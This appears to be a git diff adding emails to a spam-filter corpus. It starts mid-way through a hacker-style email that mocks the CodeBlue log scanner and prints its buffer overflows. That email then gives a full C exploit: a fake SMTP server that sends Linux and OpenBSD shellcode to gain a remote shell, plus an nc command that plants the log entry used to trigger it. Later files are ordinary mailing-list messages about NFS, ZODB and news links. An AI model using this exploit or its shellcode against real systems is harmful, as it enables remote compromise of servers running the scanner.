there is +always a remote. if codeblue is locally suid, theres many overflows all +throughout it, easy peasy like the girls in st patricks!!!. + +Note st patricks is a great place in sydney, playground of the rich and +famous. visit it if you ever visit sydney, tell them i sent you. + +so lets have a walk through the code, and get a feel for mystical mike, the +man behind the mystic. (do you wear a crazy robe with a hood like a monk +mike?) + +$ cd codeblue +$ ls +CHANGES COPYING Makefile README codeblue.c +$ head COPYING + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc. + 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + +/* uh-oh */ + +$ vi codeblue.c +/* + * $Header: /usr/src/Projects/codeblue/codeblue.c,v 1.1 2001/08/02 20:40:01 + * root Exp root $ + * + ****************************************************************************************** + * -[ G O D B L E S S A M E R I C A ]- + * + ****************************************************************************************** + * + * CodeBlue v5.0 by Michael (mystic@tenebrous.com) + * This software is freely distributable under the terms of the GNU/GPL. + * Please see file 'COPYING' + +/* god bless america, AND mystical mike! */ + +.... + +/* line ~273 */ +/* + * siginal_init: + * sets up all the signals we'd like + * to handle specially + */ +void signal_init(void) +{ + struct sigaction sa_old, sa_new; + + /* signal handling */ + sa_new.sa_handler = signal_handler; + sigemptyset(&sa_new.sa_mask); + sa_new.sa_flags = 0; + sigaction(SIGINT, &sa_new, &sa_old); + sigaction(SIGPIPE, &sa_new, &sa_old); +} + +/* shared signal handler doing all sorts of stuff, not very good mike :( */ + +/* line ~289 */ + +/********************************************************************* + * Our close() wrapper + */ +int Close(int sd) +{ + return (close(sd)); +} + +/* that just made me laugh */ + +/* line ~661 */ + +char logline[512]; /* logline is global */ + +int scan_file(FILE * fp) +{ + char buffer[1024]; + +.... + + fgets(buffer, 1024, fp); + +.... + + if (found_infected == 1) { /* if it picks up a worm entry in the */ + /* log this is true */ + + strcpy(logline, buffer); + + /* oh dear */ + +/* line ~827 */ + +char reply[512]; /* global */ +char whoispath[512] = "/usr/bin/whois"; /* global */ + +int main(int argc, char **argv) +{ + + ..... + + if (argv[i][0] == '-') + switch (argv[i][1]) { + case 'e':{ /* return email address */ + if ((!argv[i + 1]) || (argv[i + 1][0] == '-')) + DieWithRequire(argv[i]); + strcpy(reply, argv[i + 1]); + break; + } + case 'p':{ /* path to whois binary */ + if ((!argv[i + 1]) || (argv[i + 1][0] == '-')) + DieWithRequire(argv[i]); + strcpy(whoispath, argv[i + 1]); + break; + } + + /* whoops! */ + + +Now, all this is good for a laugh, but unless its suid, not much use :( + +CodeBlue will scan apache/squid logfiles looking for code red and nimda log +hits. If it finds a hit, it will connect to the source ip adress of the hit +and send an email warning of infection. Unfortunately, mystical mike was too +far up on his high horse to write something decent. + +The function that does this is send_email() (line ~552) + +It starts off like this: + +int send_email(void) +{ + int sd; + char *host = malloc(sizeof(char) * 512); + +/* .... silly crap using popen and stuff .... */ + + /* host is the infected host from the logfiles + * this will connect to the host on port 25 + */ + + if ((sd = smtp_connect(host)) < SUCCESS) + return -1; + +/* Step 0 - Get initial server response */ + get_smtp_reply(sd); + +/* this is the function of interest */ + +/* line ~345 */ +/********************************************************************* + * fetches a reply from the SMTP server + */ +int get_smtp_reply(int sd) +{ + char response[1024]; /* this is the remote host's mail server buf */ + + .... + + + /* + * We'll loop infinately, receiving + * 1 byte at a time until we receive a carriage return + * or line-feed character, signifying the end of the output + */ + /* GEE! THAT SOUNDS LIKE A GOOD IDEA MYSTICAL MIKE#@!#@! */ + + .... + + while (TRUE) { + if (select((sd + 1), &rset, NULL, NULL, &tv) < 0) { + if (errno != EINPROGRESS) { + fprintf(stderr, "[ ERROR: select() failed: %s\n", + strerror(errno)); + return -1; + } + } + if (recv(sd, (int *) &response[i], 1, RECV_FL) < 0) { /* Hello */ + if (errno == EAGAIN) { + if (elapsed >= smtp_timeout) { + fprintf(stderr, "[ ERROR: operation timed out\n"); + fprintf(log, "..... ERROR: operation timed out\n"); + return -1; + } + elapsed++; + usleep(smtp_timeout * 10000); + continue; + } else { + if (!(flags & FL_BEQUIET)) + fprintf(stderr, "[ ERROR: recv() failed: %s\n", + strerror(errno)); + fprintf(log, "..... ERROR: recv() failed: %s\n", + strerror(errno)); + return -1; + } + } + if ((response[i] == '\n') + || ((response[i] == '\n') && (response[i + 1] == '\n'))) + break; + i++; /* come here often baby? */ + } + +So slowly but surely, response is overrun, unless it its a newline. + + +/* + * hi, this is an exploit that doesnt work. it should be enough of a point in + * the right direction though. the overflow is in get_smtp_reply(), codeblue.c + * is pretty damn poor, there are more!!! + * + * being in a funny mood one afternoon, i made some software publicly + * available, the next morning i see this in my mailbox: + * + * ------- begin spouting off ------ + * From mystic@tenebrous.com Mon Jul 22 19:50:46 2002 + * Return-Path: + * Delivered-To: doe@orbital.wiretapped.net + * Received: (qmail 2711 invoked from network); 22 Jul 2002 19:50:45 -0000 + * Received: from mail110.mail.bellsouth.net (HELO imf10bis.bellsouth.net) + * (205.152.58.50) + * by orbital.wiretapped.net with SMTP; 22 Jul 2002 19:50:45 -0000 + * Received: from Michaels ([68.16.174.6]) by imf10bis.bellsouth.net + * (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with ESMTP + * id <20020722195143.XJOI21884.imf10bis.bellsouth.net@Michaels> + * for ; Mon, 22 Jul 2002 15:51:43 -0400 + * From: "Michael" + * To: "'Demi Sex God from Hell'" + * Subject: RE: ass the attack spoofing shell + * Date: Mon, 22 Jul 2002 15:50:13 -0400 + * Message-ID: <000101c231b8$fedc7740$0200a8c0@Michaels> + * MIME-Version: 1.0 + * Content-Type: text/plain; + * charset="us-ascii" + * Content-Transfer-Encoding: 7bit + * X-Priority: 3 (Normal) + * X-MSMail-Priority: Normal + * X-Mailer: Microsoft Outlook, Build 10.0.2616 + * Importance: Normal + * X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 + * In-Reply-To: + * Status: RO + * + * Annoying. Pointless. + * + * ------- end spouting off ------- + * + * HOW RUDE!@##@!@#! + * + * so i had a visit to www.tenebrous.com, found some software written by this + * master coder, and here we are now. + * + * To use this against a webserver (A) using codeblue. + * + * $ printf "GET /scripts/root.exe\r\n\r\n" | nc A 80 + * + * this will add an entry in the access log. + * + * ON THE SAME HOST: + * + * # ./mystic_anus 25 + * + * wait a while. + * + * when codeblue runs it will pull your ip from the logs, connect to your port + * 25 and try to send you a mail. because mystic is an idiot, you will get a + * shell with the openbsd code!!! + * + * i like exclamation marks !!!! + * + * krad haxxor props: dedmunk (happy now#@!!#@) ph1ll1p, caddis, buo, solace, + * everyone on #cw , everyone in paris (you have a lovely city, i had a lovely + * time last weekend, thankyou!!!) dedmunk, everyone at netcraft (esp Mike, + * hi!), everyone in sydney, dedmunk, everyone i go drinking with, anyone who + * lives in london, marlinspike (yo!), the woman who sells me my cigarettes in + * the morning on the way into work, thomas greene, dedmunk, adam, durab, sh00ter. + * + * BIG SHOUT OUT TO TOLIMAN AND ZERO SUM, UNDERSTAND!! + * + * propz to dme#!@#!@ + * + * dont forget: + * + * $Header: /usr/src/Projects/codeblue/codeblue.c,v 1.1 2001/08/02 20:40:01 root Exp root $ + * + ****************************************************************************************** + * -[ G O D B L E S S A M E R I C A ]- * + ****************************************************************************************** + * + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + + +#define OF 2048 /* this is bigger than needed */ + +/* Optimized the code, now it works better in bad situations */ +/* i dont know who wrote this, sorry, if you wrote it, let me know */ + +char lunix_shellcode[]= +"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8" +"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89" +"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0" +"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd" +"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9" +"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75" +"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08" +"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"; + + +/* + shell on port 6969/tcp shellcode for OpenBSD by noir +*/ + +long bsd_shellcode[]= +{ + 0x4151c931,0x51514151,0x61b0c031,0x078980cd, + 0x4f88c931,0x0547c604,0x084f8902,0x0647c766, + 0x106a391b,0x5004478d,0x5050078b,0x68b0c031, + 0x016a80cd,0x5050078b,0x6ab0c031,0xc93180cd, + 0x078b5151,0xc0315050,0x80cd1eb0,0xc9310789, + 0x50078b51,0xb0c03150,0x4180cd5a,0x7503f983, + 0x5b23ebef,0xc9311f89,0x89074b88,0x8d51044f, + 0x078b5007,0xc0315050,0x80cd3bb0,0x5151c931, + 0x01b0c031,0xd8e880cd,0x2fffffff,0x2f6e6962, + 0x90416873 +}; + +int main(int argc, char *argv[]) +{ + struct sockaddr_in sock_in; + struct sockaddr_in sock_out; + char *port = "25"; + int fd, a; + int len; + int opt; + char bigbuf[OF]; + char *p; + long lunix_resp = 0xbfffe0ac; + long bsd_resp = 0xdfbfc068; + char *moo = "220 "; + + long resp = lunix_resp; + char *shellcode = lunix_shellcode; + + printf("strlen scode = %d\n", strlen(shellcode)); + if (argc == 2) + port = argv[1]; + + if (argc > 2) { + fprintf(stderr, "usege: %s [port]\n", argv[0]); + exit(1); + } + + resp += 8; + + p = bigbuf; + memcpy(p, moo, 4); + p += 4; + memset(p, '\x90', 1020 - strlen(shellcode)); + p += 1020 - strlen(shellcode); + memcpy(p, shellcode, strlen(shellcode)); + p += strlen(shellcode); + memcpy(p, &resp, 4); + p += 4; + memcpy(p, &resp, 4); + p += 4; + memset(p, '\n', 4); + + if ((fd = socket(PF_INET, SOCK_STREAM, 0)) < 0){ + perror("socket"); + exit(1); + } + + memset(&sock_in, 0, sizeof(sock_in)); + sock_in.sin_family = AF_INET; + sock_in.sin_port = htons(atoi(port)); + sock_in.sin_addr.s_addr = INADDR_ANY; + len = sizeof(sock_in); + + opt = 1; + if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(int)) == -1) { + perror("setsockopt"); + exit(1); + } + + if (bind(fd, (struct sockaddr *)&sock_in, len) < 0) { + perror("bind"); + exit(1); + } + + if (listen(fd, 5) < 0) { + perror("listen"); + exit(1); + } + + printf("listening on port %d\n", atoi(port)); + + for (;;) { + len = sizeof(sock_out); + if ((a = accept(fd, (struct sockaddr *)&sock_out, &len)) < 0){ + perror("accept"); + exit(1); + } + printf("got a connection from %s\n", inet_ntoa(sock_out.sin_addr)); + fflush(stdout); + + write(a, bigbuf, sizeof(bigbuf)); + close(a); + } + + return(1); + +} + + diff --git a/bayes/spamham/easy_ham_2/01394.b4dd1cece01b908f040e33493643c4a4 b/bayes/spamham/easy_ham_2/01394.b4dd1cece01b908f040e33493643c4a4 new file mode 100644 index 0000000..3413f0d --- /dev/null +++ b/bayes/spamham/easy_ham_2/01394.b4dd1cece01b908f040e33493643c4a4 @@ -0,0 +1,69 @@ +From sentto-2242572-59686-1038327321-jm=jmason.org@returns.groups.yahoo.com Tue Nov 26 19:16:02 2002 +Return-Path: +Delivered-To: yyyy@localhost.spamassassin.taint.org +Received: from localhost (jalapeno [127.0.0.1]) + by jmason.org (Postfix) with ESMTP id 1B94016F19 + for ; Tue, 26 Nov 2002 19:02:06 +0000 (GMT) +Received: from jalapeno [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 26 Nov 2002 19:02:06 +0000 (GMT) +Received: from n28.grp.scd.yahoo.com (n28.grp.scd.yahoo.com + [66.218.66.84]) by dogma.slashnull.org (8.11.6/8.11.6) with SMTP id + gAQGaAW11951 for ; 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contact + forteana-owner@yahoogroups.com +Delivered-To: mailing list zzzzteana@yahoogroups.com +Precedence: bulk +List-Unsubscribe: +Date: Tue, 26 Nov 2002 16:11:34 -0000 +Subject: [zzzzteana] Search for missing lynx +Reply-To: zzzzteana@yahoogroups.com +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit + + + + +http://news.bbc.co.uk/1/hi/scotland/2515231.stm + + + + +------------------------ Yahoo! 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Groups is subject to http://docs.yahoo.com/info/terms/ + + + diff --git a/bayes/spamham/easy_ham_2/01395.65a2be0a7f93369c253c4bac543fdeb8 b/bayes/spamham/easy_ham_2/01395.65a2be0a7f93369c253c4bac543fdeb8 new file mode 100644 index 0000000..abc83a5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01395.65a2be0a7f93369c253c4bac543fdeb8 @@ -0,0 +1,75 @@ +From ilug-admin@linux.ie Tue Nov 26 19:09:07 2002 +Return-Path: +Delivered-To: yyyy@localhost.spamassassin.taint.org +Received: from localhost (jalapeno [127.0.0.1]) + by jmason.org (Postfix) with ESMTP id 588E316F8F + for ; Tue, 26 Nov 2002 19:01:08 +0000 (GMT) +Received: from jalapeno [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 26 Nov 2002 19:01:08 +0000 (GMT) +Received: from lugh.tuatha.org (postfix@lugh.tuatha.org [194.125.145.45]) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id gAQGS7W11520 for + ; Tue, 26 Nov 2002 16:28:07 GMT +Received: from lugh.tuatha.org (localhost [127.0.0.1]) by lugh.tuatha.org + (Postfix) with ESMTP id 1364F340D5; Tue, 26 Nov 2002 16:29:34 +0000 (GMT) +Delivered-To: linux.ie-ilug@localhost +Received: from mail.archivease.com (unknown [217.114.163.95]) by + lugh.tuatha.org (Postfix) with ESMTP id 4C2C3340A2 for ; + Tue, 26 Nov 2002 16:28:44 +0000 (GMT) +Received: from bagend.magicgoeshere.com (ts15-108.dublin.indigo.ie + [194.125.176.108]) by mail.archivease.com (Postfix on SuSE Linux 8.0 + (i386)) with ESMTP id BC82EBEFD for ; Tue, 26 Nov 2002 + 16:30:08 +0000 (GMT) +Received: from bagend (localhost [127.0.0.1]) by bagend.magicgoeshere.com + (Postfix) with ESMTP id 47CCC3CF47 for ; Tue, + 26 Nov 2002 16:12:14 +0000 (GMT) +Content-Type: text/plain; charset="us-ascii" +From: Niall O Broin +Reply-To: niall@magicgoeshere.com +Organization: Irish Linux Users Group +To: ilug@linux.ie +User-Agent: KMail/1.4.3 +MIME-Version: 1.0 +Content-Transfer-Encoding: 8bit +Message-Id: <200211261612.12309.niall@linux.ie> +Subject: [ILUG] NFS slowness with SuSE 8.1 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Beenthere: ilug@linux.ie +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: Irish Linux Users' Group +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Tue, 26 Nov 2002 16:12:12 +0000 +Date: Tue, 26 Nov 2002 16:12:12 +0000 + +NFS as a protocol is not known for its speediness but this is absurd. I did an +NFS install of a box this morning (that would be the box which won't boot +from CD for those who were in IRC) and it was rather slow but I just left it +to it. Having got it up, I want to copy the DVD to a disk on it so I have it +handy for installing any further bits I might require. So I simply mounted +the NFS exported DVD on the new box and started copying. + +After a couple of minutes I looked - it was transferring about 8MB a MINUTE. +So I killed that and used rsync instead which is ticking away now at about +100 MB/min - still not exactly turbo charged but a lot better than the NFS +rate. Any ideas as to what's making it SO slow ? There's really no point in +running more nfsd processes, as there is exactly one client, so I'm a little +at a loss I must say. + + + +Niall + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/01396.61983fbe6ec43f55fd44e30fce24ffa6 b/bayes/spamham/easy_ham_2/01396.61983fbe6ec43f55fd44e30fce24ffa6 new file mode 100644 index 0000000..31b545d --- /dev/null +++ b/bayes/spamham/easy_ham_2/01396.61983fbe6ec43f55fd44e30fce24ffa6 @@ -0,0 +1,81 @@ +From sentto-2242572-59687-1038327398-jm=jmason.org@returns.groups.yahoo.com Tue Nov 26 19:17:00 2002 +Return-Path: +Delivered-To: yyyy@localhost.spamassassin.taint.org +Received: from localhost (jalapeno [127.0.0.1]) + by jmason.org (Postfix) with ESMTP id 0934416FA9 + for ; Tue, 26 Nov 2002 19:02:12 +0000 (GMT) +Received: from jalapeno [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 26 Nov 2002 19:02:12 +0000 (GMT) +Received: from n30.grp.scd.yahoo.com (n30.grp.scd.yahoo.com + [66.218.66.87]) by dogma.slashnull.org (8.11.6/8.11.6) with SMTP id + gAQHC8W14056 for ; Tue, 26 Nov 2002 17:12:10 GMT +X-Egroups-Return: sentto-2242572-59687-1038327398-yyyy=spamassassin.taint.org@returns.groups.yahoo.com +Received: from [66.218.66.94] by n30.grp.scd.yahoo.com with NNFMP; + 26 Nov 2002 16:16:38 -0000 +X-Sender: Andy@r2-dvd.org +X-Apparently-To: zzzzteana@yahoogroups.com +Received: (EGP: mail-8_2_3_0); 26 Nov 2002 16:16:38 -0000 +Received: (qmail 95103 invoked from network); 26 Nov 2002 16:16:38 -0000 +Received: from unknown (66.218.66.216) by m1.grp.scd.yahoo.com with QMQP; + 26 Nov 2002 16:16:38 -0000 +Received: from unknown (HELO dulce.mic.dundee.ac.uk) (134.36.34.9) by + mta1.grp.scd.yahoo.com with SMTP; 26 Nov 2002 16:16:38 -0000 +Received: from slagfarm (host213-122-213-126.in-addr.btopenworld.com + [213.122.213.126]) by dulce.mic.dundee.ac.uk with SMTP (Microsoft Exchange + Internet Mail Service Version 5.5.2653.13) id WBQAM2W0; Tue, + 26 Nov 2002 16:14:51 -0000 +Message-Id: <011001c29566$acb96830$d6a201d5@computing.dundee.ac.uk> +To: +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.50.4522.1200 +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 +From: "Andy C" +X-Yahoo-Profile: acobley +MIME-Version: 1.0 +Mailing-List: list zzzzteana@yahoogroups.com; contact + forteana-owner@yahoogroups.com +Delivered-To: mailing list zzzzteana@yahoogroups.com +Precedence: bulk +List-Unsubscribe: +Date: Tue, 26 Nov 2002 16:12:52 -0000 +Subject: [zzzzteana] Animal attraction for sale +Reply-To: zzzzteana@yahoogroups.com +Content-Type: text/plain; charset=ISO-8859-1 +Content-Transfer-Encoding: 8bit + +http://news.bbc.co.uk/1/hi/england/2515127.stm + +A bizarre collection of stuffed animals could fetch up to £2m when it is +sold by a Cornwall museum. +The Museum of Curiosities is home to a menagerie of 10,000 Victorian stuffed +animals. +The museum, next to the Jamaica Inn on Bodmin Moor, gets about 30,000 +visitors a year. +But now the inn's owner Kevin Moore has decided to sell. + +Stuffed frogs are for sale + +Mr Moore said: "It was very fashionable to have taxidermy on your +mantlepiece in Victorian times, but it is not really in favour now." +Nevertheless, figures of up to £2m for the collection have been discussed. +The museum was opened in 1861 by taxidermist Walter Potter. +Tableaux include a kittens tea party, cricket-playing guinea pigs and +swinging frogs. + + +------------------------ Yahoo! Groups Sponsor ---------------------~--> +Share the magic of Harry Potter with Yahoo! Messenger +http://us.click.yahoo.com/4Q_cgB/JmBFAA/46VHAA/7gSolB/TM +---------------------------------------------------------------------~-> + +To unsubscribe from this group, send an email to: +forteana-unsubscribe@egroups.com + + + +Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/ + + + diff --git a/bayes/spamham/easy_ham_2/01397.9f9ef4c2a8dc012d80f2ce2d3473d3b7 b/bayes/spamham/easy_ham_2/01397.9f9ef4c2a8dc012d80f2ce2d3473d3b7 new file mode 100644 index 0000000..73560a3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01397.9f9ef4c2a8dc012d80f2ce2d3473d3b7 @@ -0,0 +1,68 @@ +From sentto-2242572-59685-1038327255-jm=jmason.org@returns.groups.yahoo.com Tue Nov 26 19:14:57 2002 +Return-Path: +Delivered-To: yyyy@localhost.spamassassin.taint.org +Received: from localhost (jalapeno [127.0.0.1]) + by jmason.org (Postfix) with ESMTP id 5D69516FA3 + for ; Tue, 26 Nov 2002 19:01:59 +0000 (GMT) +Received: from jalapeno [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 26 Nov 2002 19:01:59 +0000 (GMT) +Received: from n24.grp.scd.yahoo.com (n24.grp.scd.yahoo.com + [66.218.66.80]) by dogma.slashnull.org (8.11.6/8.11.6) with SMTP id + gAQGRsW11496 for ; Tue, 26 Nov 2002 16:27:54 GMT +X-Egroups-Return: sentto-2242572-59685-1038327255-yyyy=spamassassin.taint.org@returns.groups.yahoo.com +Received: from [66.218.66.96] by n24.grp.scd.yahoo.com with NNFMP; + 26 Nov 2002 16:14:15 -0000 +X-Sender: mephistopheles29@hotmail.com +X-Apparently-To: zzzzteana@yahoogroups.com +Received: (EGP: mail-8_2_3_0); 26 Nov 2002 16:14:14 -0000 +Received: (qmail 29823 invoked from network); 26 Nov 2002 16:14:14 -0000 +Received: from unknown (66.218.66.216) by m13.grp.scd.yahoo.com with QMQP; + 26 Nov 2002 16:14:14 -0000 +Received: from unknown (HELO n10.grp.scd.yahoo.com) (66.218.66.65) by + mta1.grp.scd.yahoo.com with SMTP; 26 Nov 2002 16:14:14 -0000 +Received: from [66.218.67.147] by n10.grp.scd.yahoo.com with NNFMP; + 26 Nov 2002 16:14:14 -0000 +To: zzzzteana@yahoogroups.com +Message-Id: +In-Reply-To: +User-Agent: eGroups-EW/0.82 +X-Mailer: Yahoo Groups Message Poster +From: "timothy_hodkinson" +X-Originating-Ip: 62.172.206.50 +X-Yahoo-Profile: timothy_hodkinson +MIME-Version: 1.0 +Mailing-List: list zzzzteana@yahoogroups.com; contact + forteana-owner@yahoogroups.com +Delivered-To: mailing list zzzzteana@yahoogroups.com +Precedence: bulk +List-Unsubscribe: +Date: Tue, 26 Nov 2002 16:14:14 -0000 +Subject: [zzzzteana] Re: More Japanese stuff +Reply-To: zzzzteana@yahoogroups.com +Content-Type: text/plain; charset=US-ASCII +Content-Transfer-Encoding: 7bit + +> >-- be careful when using this one.) Also, that really cute thing +that +> >Japanese AV girls do of leaving their panties on one leg while +making love + +Dare I ask what a Japanese "AV girl" is? +timh + + +------------------------ Yahoo! Groups Sponsor ---------------------~--> +4 DVDs Free +s&p Join Now +http://us.click.yahoo.com/pt6YBB/NXiEAA/46VHAA/7gSolB/TM +---------------------------------------------------------------------~-> + +To unsubscribe from this group, send an email to: +forteana-unsubscribe@egroups.com + + + +Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/ + + + diff --git a/bayes/spamham/easy_ham_2/01398.169b51731fe569f42169ae8f948ec676 b/bayes/spamham/easy_ham_2/01398.169b51731fe569f42169ae8f948ec676 new file mode 100644 index 0000000..63f455d --- /dev/null +++ b/bayes/spamham/easy_ham_2/01398.169b51731fe569f42169ae8f948ec676 @@ -0,0 +1,129 @@ +From spambayes-bounces@python.org Tue Nov 26 19:05:40 2002 +Return-Path: +Delivered-To: yyyy@localhost.spamassassin.taint.org +Received: from localhost (jalapeno [127.0.0.1]) + by jmason.org (Postfix) with ESMTP id AC79716F7B + for ; Tue, 26 Nov 2002 19:00:15 +0000 (GMT) +Received: from jalapeno [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 26 Nov 2002 19:00:15 +0000 (GMT) +Received: from mail.python.org (mail.python.org [12.155.117.29]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id gAQGDpW10646 for + ; Tue, 26 Nov 2002 16:13:51 GMT +Received: from localhost.localdomain ([127.0.0.1] helo=mail.python.org) by + mail.python.org with esmtp (Exim 4.05) id 18GiMq-00055L-00; Tue, + 26 Nov 2002 11:15:20 -0500 +Received: from [63.100.190.10] (helo=smtp.zope.com) by mail.python.org + with esmtp (Exim 4.05) id 18GiMl-00054Z-00 for spambayes@python.org; + Tue, 26 Nov 2002 11:15:15 -0500 +Received: from slothrop.zope.com ([208.251.201.42]) by smtp.zope.com + (8.12.5/8.12.5) with ESMTP id gAQGSu7C010012; Tue, 26 Nov 2002 11:28:58 + -0500 +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 7bit +Message-Id: <15843.40441.659922.991160@slothrop.zope.com> +Date: Tue, 26 Nov 2002 11:14:49 -0500 +From: jeremy@alum.mit.edu (Jeremy Hylton) +To: skip@pobox.com +Subject: Re: [Spambayes] Guidance re pickles versus DB for Outlook +In-Reply-To: <15843.39397.770235.412408@montanaro.dyndns.org> +References: + + <15842.62697.829412.348546@slothrop.zope.com> + <15843.39397.770235.412408@montanaro.dyndns.org> +X-Mailer: VM 7.00 under 21.4 (patch 6) "Common Lisp" XEmacs Lucid +X-Mailscanner: Found to be clean +Cc: Spambayes +X-Beenthere: spambayes@python.org +X-Mailman-Version: 2.1b5 +Precedence: list +Reply-To: Jeremy Hylton +List-Id: Discussion list for Pythonic Bayesian classifier +List-Help: +List-Post: +List-Subscribe: , + +List-Archive: +List-Unsubscribe: , + +Sender: spambayes-bounces@python.org +Errors-To: spambayes-bounces@python.org + +>>>>> "SM" == Skip Montanaro writes: + + Jeremy> Put another way, I'd be interested to hear why you don't + Jeremy> want to use ZODB. + + SM> Disclaimer: I'm not saying I don't want to use ZODB. I'm + SM> offering some reasons why it might not be everyone's obvious + SM> choice. + +But you're not saying you do want to use ZODB, so you're still part of +the problem . + + SM> For most of us who have *any* experience with ZODB it's probably + SM> all indirect via Zope, so there are probably some inaccurate + SM> perceptions about it. These thoughts that have come to my mind + SM> at one time or another: + + SM> * How could a database from a company (Zope) whose sole business + SM> is not databases be more reliable than a database from + SM> organizations whose sole raison d'etre is databases + SM> (Sleepycat, Postgres, MySQL, ...)? + +I don't think I could argue that ZODB is more reliable that +BerkeleyDB. It's true that we have fewer database experts and expend +fewer resources working on database reliability. On the other hand, +Barry is nearly finished with a BerkeleyDB-based storage for ZODB. + +ZODB is an object persistence tool that uses a database behind it. +You can use our FileStorage or you can use someone else's database, +although BerkeleyDB is the best we can offer at the moment. (It would +be really cool to do a Postgres storage...) + + SM> * Dealing with Zope's monolithic system is frustrating to people + SM> (like me) who are used to having files reside in + SM> filesystems. Some of that frustration probably carries + SM> over to ZODB, though it's almost certainly not ZODB's + SM> problem. + + +This sounds like a Zope complaint that doesn't have anything to do +with ZODB, but maybe I misunderstand you. You don't have to store +your code in the database, although that will be mostly possible in +ZODB4. + +Seriously, ZODB stores object pickles in a database. The storage +layer is free to manage those pickles however it likes. FileStorage +uses a single file. Toby Dickenson's DirectoryStorage represents each +pickle as a separate file. + + SM> * It seems to grow without bound, else why do I need to pack my + SM> Data.fs file every now and then? + +It grows without bound unless you pack it. Why is that a problem? +BerkeleyDB log files grow without bound, too. Databases require some +tending. One possibility with FileStorage is to add an explicit +pack() call to update training operation. We'd need to think +carefully about the performance impact. + + SM> Also, there is the issue of availability. While it's just an + SM> extra install, its use requires more than the usual Python + SM> install. Having it in the core distribution would provide + SM> stronger assurances that it runs wherever Python runs (e.g., + SM> does it run on MacOS 8 or 9, both of which I believe Jack still + SM> supports with his Mac installer?). + +I think we'd want a spambayes installer that packaged up spambayes, +python, and zodb. + +Jeremy + + +_______________________________________________ +Spambayes mailing list +Spambayes@python.org +http://mail.python.org/mailman/listinfo/spambayes + + diff --git a/bayes/spamham/easy_ham_2/01399.ca6b00b7b341bbde9a9ea3dd6a7bf896 b/bayes/spamham/easy_ham_2/01399.ca6b00b7b341bbde9a9ea3dd6a7bf896 new file mode 100644 index 0000000..2b7bd43 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01399.ca6b00b7b341bbde9a9ea3dd6a7bf896 @@ -0,0 +1,80 @@ +From spambayes-bounces@python.org Tue Nov 26 19:06:07 2002 +Return-Path: +Delivered-To: yyyy@localhost.spamassassin.taint.org +Received: from localhost (jalapeno [127.0.0.1]) + by jmason.org (Postfix) with ESMTP id 2063416F7C + for ; Tue, 26 Nov 2002 19:00:18 +0000 (GMT) +Received: from jalapeno [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 26 Nov 2002 19:00:18 +0000 (GMT) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id gAQGIBW11003 for + ; Tue, 26 Nov 2002 16:18:11 GMT +Received: from mail.python.org (mail.python.org [12.155.117.29]) by + webnote.net (8.9.3/8.9.3) with ESMTP id QAA06952 for ; + Tue, 26 Nov 2002 16:19:40 GMT +Received: from localhost.localdomain ([127.0.0.1] helo=mail.python.org) by + mail.python.org with esmtp (Exim 4.05) id 18GiQu-0005cv-00; Tue, + 26 Nov 2002 11:19:32 -0500 +Received: from woozle.org ([216.231.62.189] ident=postfix) by + mail.python.org with esmtp (Exim 4.05) id 18GiQr-0005b0-00 for + spambayes@python.org; Tue, 26 Nov 2002 11:19:30 -0500 +Received: by woozle.org (Postfix, from userid 5000) id A597E1A18A; + Tue, 26 Nov 2002 08:19:23 -0800 (PST) +To: "Mark Hammond" +Subject: Re: [Spambayes] Guidance re pickles versus DB for Outlook +References: +Organization: WoozleWorks (woozle.org) +X-Face: "&g4:h\nuA>dfRaRmJ5c+Mqvu!,|5@dd>:BqJ,#G:mT3`i-EF{L>6oE?di}m\; + 